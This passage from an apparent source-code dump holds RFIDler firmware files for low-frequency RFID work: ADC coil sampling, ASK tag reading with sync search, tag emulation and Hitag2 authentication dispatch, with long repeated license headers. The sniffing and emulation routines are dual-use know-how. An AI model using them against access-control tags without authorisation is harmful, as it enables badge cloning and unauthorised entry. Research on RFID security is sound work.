* misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"analogue.h\"\n#include \"clock.h\"\n\n\nvoid init_adc(BOOL slow)\n{\n    CloseADC10();\n    SetChanADC10( ADC_CH0_NEG_SAMPLEA_NVREF | ADC_CH0_POS_SAMPLEA_AN11);\n    if(slow)\n       OpenADC10( ADC_CONFIG1, ADC_CONFIG2_SLOW, ADC_CONFIG3, ADC_CONFIGPORT, ADC_CONFIGSCAN );\n    else\n        OpenADC10( ADC_CONFIG1, ADC_CONFIG2, ADC_CONFIG3, ADC_CONFIGPORT, ADC_CONFIGSCAN );\n    EnableADC10();\n    // wait for first read to complete\n    while ( !mAD1GetIntFlag() )\n        ;\n}\n\n// switch off local_read to sniff transaction with external clock\nvoid analogue_sample(unsigned int length, BOOL local_read)\n{\n    unsigned int i, scale;\n    // we have a static buffer for samples, so if we want to see more, scale sample rate accordingly\n    scale= (((length - 1) / sizeof(DataBuff))) +1 ; \n    /**\n     The way this is implemented,\n     - If length less than 8096, scale will be == 1\n     - If length more than 8096 (but less than 2*8096), scale == 2\n     - So, if length = 9000, every other sample will be stored, to a total\n     of 4500.\n     */\n    init_adc(FAST);\n    FakeRead= TRUE;\n    // start read\n    if(!local_read)\n        SnifferMode= TRUE;\n    get_tag_uid(TmpBuff);\n    // get one sample per byte - max value from ADC is 1024 so divide by 4 (>>2)\n    // add in digital sample state (BIT_1) and reader bit period (BIT_0) for display purposes\n    for(i= 0 ; i < length ; ++i)\n    {\n        DataBuff[i / scale]= (((read_adc() + DC_OFFSET) >> 2) & SAMPLEMASK) + (READER_DATA << 1) + ReaderPeriod;\n    }\n\n    FakeRead= FALSE;\n    SnifferMode= FALSE;\n    stop_HW_clock();\n\n}\n\n// output analogue buffer as XML\nvoid analogue_xml_out(unsigned int length)\n{\n    BYTE indent= 0, tmp;\n    char data_rate[10] = {0};\n    if(length > sizeof(DataBuff))\n        length= sizeof(DataBuff);\n\n    // header\n    xml_version();\n    xml_header(\"RFIDler_Samples\", &indent);\n    xml_item_text(\"Description\", \"RFIDler Analogue Coil Samples\", &indent);\n\n    // tag\n    xml_header(\"Tag\", &indent);\n    xml_item_text(\"Description\", \"Tag Settings\", &indent);\n    xml_header(\"Tag_Type\", &indent);\n    xml_item_text(\"Description\", \"Tag Type\", &indent);\n    xml_item_text(\"Data\", (BYTE *) TagTypes[RFIDlerConfig.TagType], &indent);\n    xml_footer(\"Tag_Type\", &indent);\n    xml_header(\"Modulation\", &indent);\n    xml_item_text(\"Description\", \"Modulation Scheme\", &indent);\n    xml_item_text(\"Data\", (BYTE *) ModulationSchemes[RFIDlerConfig.Modulation], &indent);\n    xml_footer(\"Modulation\", &indent);\n    xml_header(\"Data_Rate\", &indent);\n    xml_item_text(\"Description\", \"Data Rate (Frame Clocks)\", &indent);\n    snprintf(data_rate, 10, \"%d\",RFIDlerConfig.DataRate);\n    xml_item_text(\"Data\", data_rate, &indent);\n    xml_footer(\"Data_Rate\", &indent);\n    xml_footer(\"Tag\", &indent);\n\n    // pots\n    xml_header(\"Pots\", &indent);\n    xml_item_text(\"Description\", \"Potentiometer Settings (Decimal)\", &indent);\n    xml_header(\"Pot_High\", &indent);\n    xml_item_text(\"Description\", \"Potentiometer High Setting\", &indent);\n    get_mcp414_wiper(0, FALSE, &tmp);\n    xml_item_decimal(\"Data\", tmp, &indent);\n    xml_footer(\"Pot_High\", &indent);\n    xml_header(\"Pot_Low\", &indent);\n    xml_item_text(\"Description\", \"Potentiometer Low Setting\", &indent);\n    get_mcp414_wiper(1, FALSE, &tmp);\n    xml_item_decimal(\"Data\", tmp, &indent);\n    xml_footer(\"Pot_Low\", &indent);\n    xml_footer(\"Pots\", &indent);\n\n\n    // samples\n    xml_header(\"Samples\", &indent);\n    xml_item_text(\"Description\", \"Time Based Sample Arrays\", &indent);\n    // raw coil\n    xml_header(\"Coil_Data\", &indent);\n    xml_item_text(\"Description\", \"Analogue Circuit Raw Data (HEX)\", &indent);\n    xml_item_array(\"Data\", DataBuff, SAMPLEMASK, length, &indent);\n    xml_footer(\"Coil_Data\", &indent);\n    // reader circuit\n    xml_header(\"Reader_Output\", &indent);\n    xml_item_text(\"Description\", \"Analogue Circuit Digital Reader Output (HIGH/LOW)\", &indent);\n    xml_item_array(\"Data\", DataBuff, BIT_1, length, &indent);\n    xml_footer(\"Reader_Output\", &indent);\n    // bit period\n    xml_header(\"Bit_Period\", &indent);\n    xml_item_text(\"Description\", \"Modulation Scheme Bit Period (TICKS)\", &indent);\n    xml_item_array(\"Data\", DataBuff, BIT_0, length, &indent);\n    xml_footer(\"Bit_Period\", &indent);\n    xml_footer(\"Samples\", &indent);\n    \n    // end\n    xml_footer(\"RFIDler_Samples\", &indent);\n    UserMessage(\"%s\", \"\\r\\n\");\n}\n\n// determine resonant frequency of coil\nunsigned long analogue_frequency(void)\n{\n    unsigned int i, high, tmp, highest= 0;\n    float freq;\n    unsigned long tmpfreq, best= 0;\n\n    stop_HW_clock();\n\n    // sample coil voltage at a reange of frequencies\n    for(freq= (float) 100000 ; freq < (float) 151000 ; freq += (float) 1000)\n    {\n        tmpfreq= (unsigned long) ((1L/freq) * 100000000L);\n        InitHWReaderClock(OC_TOGGLE_PULSE, tmpfreq / 2L, tmpfreq, RWD_STATE_ACTIVE);\n        init_adc(FAST);\n        Delay_us(100000);\n        for(i= 0, high= 0 ; i < 10000 ; ++i)\n        {\n            tmp= read_adc();\n            if(i > 2000 && tmp > high)\n                high= tmp;\n        }\n        UserMessageNum(\"%d: \", (unsigned long) freq);\n        UserMessageNum(\"%d\\r\\n\", high);\n        if(high > highest)\n        {\n            highest= high;\n            best= (unsigned long) freq;\n        }\n        stop_HW_clock();\n        CloseADC10();\n    }\n    return best;\n}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/ask.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"ask.h\"\n#include \"emulate.h\"\n#include \"mcp414x.h\"\n#include \"util.h\"\n#include \"USB/usb.h\"\n#include \"clock.h\"\n\nBOOL send_ask_hex(unsigned char *data, unsigned int pulsewidth, unsigned int tpb, unsigned int repeat)\n{\n    unsigned int length;\n\n    if(!(length= hextobinarray(TmpBits, data)))\n        return FALSE;\n\n    return send_ask_bin(TmpBits, length, pulsewidth, tpb, repeat);\n}\n\nBOOL send_ask_bin(unsigned char *data, unsigned int length, unsigned int pulsewidth, unsigned int tpb, unsigned int repeat)\n{\n    // terminate for transmission\n    memcpy(TmpBits, data, length);\n    TmpBits[length]= '*';\n    write_ASK_HW_clock(pulsewidth, TmpBits, tpb, repeat);\n    return TRUE;\n}\n\n// return raw HEX UID\nBOOL ask_raw_get_uid(BYTE *response)\n{\n    unsigned int i;\n    BOOL blank= TRUE;\n    BYTE tmp[MAXUID + 1];\n\n    memset(tmp, '0', MAXUID);\n    tmp[MAXUID]= '\\0';\n\n    if (read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, RFIDlerConfig.DataBits, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, NO_ONESHOT_READ, HEX) != RFIDlerConfig.DataBits)\n        return FALSE;\n\n    for(i= 0 ; i < strlen(tmp) ; ++i)\n        if(tmp[i] != '0')\n            blank= FALSE;\n    if(blank)\n        return FALSE;\n\n    strcpy(response, tmp);\n    return TRUE;\n}\n\n// convert raw UID to hex (nothing to do in this case!)\nBOOL ask_raw_hex_to_uid(BYTE *response, BYTE *hex)\n{\n    strcpy(response, hex);\n    return TRUE;\n}\n\n// specify oneshot if data is not repeated (i.e. in response to a command rather than a cycling UID)\nunsigned int read_ask_data(unsigned int period_us, unsigned int ticks, BYTE *data, unsigned int bits, unsigned char *sync, unsigned char syncbits, unsigned int timeout_us, BOOL oneshot, BYTE format)\n{\n    unsigned int i= 0, j;\n    BOOL found= FALSE;\n    BYTE repeat= 0;\n    \n    // if we're not doing a 1-shot read, we can grab double the data to allow for sync search\n    if(oneshot)\n        repeat= 1;\n    else\n        repeat= 2;\n\n    if(!read_ASK_HW_clock(period_us, ticks, TmpBits, bits * repeat, timeout_us, oneshot))\n        return 0;\n\n    if(FakeRead)\n        return 0;\n\n    // reset timer\n    if(timeout_us)\n        GetTimer_us(RESET);\n\n    // wait for semaphore to tell us read has finished\n    while(mLED_Read == mLED_ON)\n        if(timeout_us)\n            if (GetTimer_us(NO_RESET) > timeout_us)\n                return 0;\n\n    if(Manchester_Error)\n        return 0;\n\n    // find start of data\n    if(syncbits)\n    {\n        for(i= j= found= 0 ; i < bits * repeat ; ++i)\n        {        \n            if(TmpBits[i] == getbit(sync[j / 8], 7 - (j % 8)))\n                ++j;\n            else\n            {\n                i -= j;\n                j= 0;\n            }\n\n            if(j == syncbits)\n            {\n                found= TRUE;\n                break;\n            }\n        }\n        if(!found)\n            return 0;\n\n        // point at start of sync\n        i -= syncbits - 1;\n    }\n    \n    // copy to output buffer\n    switch(format)\n    {\n        case HEX:\n            return binarraytohex(data, TmpBits + i, bits);\n            \n        case BINARY:\n        default:\n            memcpy(data, TmpBits + i, bits);\n            data[bits]= '\\0';\n            return bits;\n    }\n}\n\n// h/w clock ASK emulator - initialise data pointers for ISR and start timer 2\n// args: clock pulsewidth (NOT period!), data as array of 0/1, repeat\nvoid write_ASK_HW_clock(unsigned int pulse, BYTE *data, unsigned int tpb, unsigned int repeat)\n{\n    // convert to ticks\n    pulse= CONVERT_TO_TICKS(pulse);\n    // we only need to tick once per bit\n    pulse *= (unsigned long) tpb;\n\n    // point globals at data for ISR\n    EMU_ThisBit= *data;\n    EMU_Data= data + 1;\n    EMU_Reset_Data= data;\n    EMU_DataBitRate= 1;\n    EMU_SubCarrier_T0= 1;\n\n    EMU_Repeat= repeat;\n\n    // if we're manchester or bi-phase encoding, we want to clock twice as fast so we can toggle on half-bit\n    if(RFIDlerConfig.Manchester || RFIDlerConfig.BiPhase)\n    {\n        pulse /= 2;\n        EMU_SubCarrier_T0 *= 2;\n        EMU_DataBitRate *= 2;\n    }\n\n    // make sure no clock is running\n    stop_HW_clock();\n    \n    // set mode\n    EmulationMode= MOD_MODE_ASK_OOK;\n\n    // make sure nobody's using our timer\n    CloseTimer3();\n\n    // tri-state on, clock low\n    READER_CLOCK_ENABLE_ON();\n    CLOCK_COIL= LOW;\n\n    // emulator mode\n    COIL_MODE_EMULATOR();\n\n    // this is also a semaphore so the rest of the code knows we're running\n    mLED_Emulate_On();\n\n    // start timer - ISR will send data\n    OpenTimer3( T3_ON | T3_PS_1_1 | T3_SOURCE_INT, pulse - 1L);\n    mT3SetIntPriority(6);\n    mT3ClearIntFlag();\n    mT3IntEnable(TRUE);\n}\n\n// h/w clock reader - initialise data pointers for ISR and start timers\n// timer2 creates clock output for external reader\n// timer4 reads data bit values\n// period_us == clock for reader\n// ticks == clock periods per bit\n// bits == number of bits to read\n// oneshot must be set if we are reading data in response to RWD, so no repeating stream\nBOOL read_ASK_HW_clock(unsigned int period, unsigned int ticks, BYTE *data, unsigned int bits, unsigned int timeout_us, BOOL oneshot)\n{\n    unsigned long dwell, time;\n    BYTE count;\n    \n    Manchester_Error= FALSE;\n\n    // if we're manchester or bi-phase encoding, we want to clock twice as fast so we can read both halves of the bit\n    if(RFIDlerConfig.Manchester || RFIDlerConfig.BiPhase)\n    {\n        ticks /= 2;\n        HW_Bits= (unsigned long) bits * 2;\n    }\n    else\n       HW_Bits= (unsigned long) bits;\n\n    // point globals at data for ISR\n    EMU_Data= data;\n\n    memset(EMU_Data, '\\0', bits);\n\n    // stop USB interfering\n    USBMaskInterrupts();\n\n    // start clock if not already running\n    if(!mGetLED_Clock() == mLED_ON)\n    {\n        InitHWReaderClock(OC_TOGGLE_PULSE, period / 2L, period, RWD_STATE_ACTIVE);\n\n        // give reader time to wake up and settle\n        Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Wake_Period) / 100);\n    }\n\n    // align ourselves to reader's bit period by waiting until the end of a pulse\n    GetTimer_us(RESET);\n    count= READER_DATA;\n    while(count == READER_DATA)\n        if(GetTimer_us(NO_RESET) > timeout_us)\n            return FALSE;\n\n    // convert to ticks\n    period= CONVERT_TO_TICKS(period);\n\n    // biphase cannot auto-align when it detects a half-bit error, so we must align\n    // on a full bit before we start\n    if(RFIDlerConfig.BiPhase && !oneshot)\n    {\n        dwell= period * ticks * 2;\n        count= 0;\n        while((time= get_reader_gap(timeout_us)))\n        {\n            if(!time || count == 255)\n                return;\n            else\n                if(approx(time, dwell, 10))\n                    break;\n            ++count;\n        }\n    }\n\n    // wait for half the bit period so we sample mid-tick, not just as bit is toggling\n    dwell= ((period * ticks) / 2L);\n    GetTimer_ticks(RESET);\n    //DEBUG_PIN_2= HIGH;\n    while(GetTimer_ticks(NO_RESET) < dwell)\n            ;\n\n    // reset timer for external timeouts\n    GetTimer_us(RESET);\n\n    //DEBUG_PIN_2= LOW;\n    \n    // re-start reader ISR to read this bit if required\n    InitHWReaderISR(period * ticks - 1L, TRUE);\n\n    return TRUE;\n}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/auth.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"auth.h\"\n\nBOOL tag_auth(unsigned int block, BYTE *response, BYTE *key)\n{\n    switch(RFIDlerConfig.TagType)\n    {\n        case TAG_TYPE_HITAG2:\n            return hitag2_crypto_auth(response, key);\n\n        default:\n            break;\n    }\n    return FALSE;\n}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/auto.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND 